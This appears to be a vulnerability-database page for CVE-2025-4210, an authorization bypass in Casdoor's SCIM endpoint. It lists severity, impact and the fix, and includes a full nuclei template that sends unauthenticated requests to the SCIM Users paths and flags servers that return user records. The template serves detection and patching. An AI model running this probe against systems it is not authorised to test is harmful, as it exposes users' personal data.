HexBrain

Browse / CVEs / CVE-2025-4210

CVE-2025-4210· casdoor / casdoor· CWE-285

Casdoor - Authorization Bypass

highseverity
7.3CVSS score
1.8%likelihood of exploitation, next 30 days
79%of all CVEs are less likely
Readycheck to confirm it

Casdoor up to 1.811.0 contains an authorization bypass caused by manipulation in HandleScim function in controllers/scim.go, letting remote attackers bypass authorization, exploit requires remote access.

Impact

Attackers can bypass authorization, potentially gaining unauthorized access to sensitive data or functionalities.

Fix

Upgrade to version 1.812.0.

How to confirm it

Send: GET {{BaseURL}}/scim/v2/Users ; GET {{BaseURL}}/api/scim/v2/Users
Positive when: contains "schemas" and "totalResults" and "Resources" and "givenName" AND contains in header "application/scim+json" or "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2025-4210 -u <target>

The full check
id: CVE-2025-4210

info:
  name: Casdoor - Authorization Bypass
  author: theamanrawat
  severity: high
  description: |
    Casdoor up to 1.811.0 contains an authorization bypass caused by manipulation in HandleScim function in controllers/scim.go, letting remote attackers bypass authorization, exploit requires remote access.
  impact: |
    Attackers can bypass authorization, potentially gaining unauthorized access to sensitive data or functionalities.
  remediation: |
    Upgrade to version 1.812.0.
  reference:
    - https://github.com/casdoor/casdoor/commit/3d12ac8dc2282369296c3386815c00a06c6a92fe
    - https://nvd.nist.gov/vuln/detail/CVE-2025-4210
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cve-id: CVE-2025-4210
    epss-score: 0.01822
    epss-percentile: 0.7895
    cwe-id: CWE-285
  metadata:
    verified: true
    max-requests: 2
    vendor: casdoor
    product: casdoor
  tags: cve,cve2025,casdoor,scim,auth-bypass,disclosure,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/scim/v2/Users"
      - "{{BaseURL}}/api/scim/v2/Users"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "schemas"
          - "totalResults"
          - "Resources"
          - "givenName"
        condition: and

      - type: word
        part: header
        words:
          - "application/scim+json"
          - "application/json"
        condition: or

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from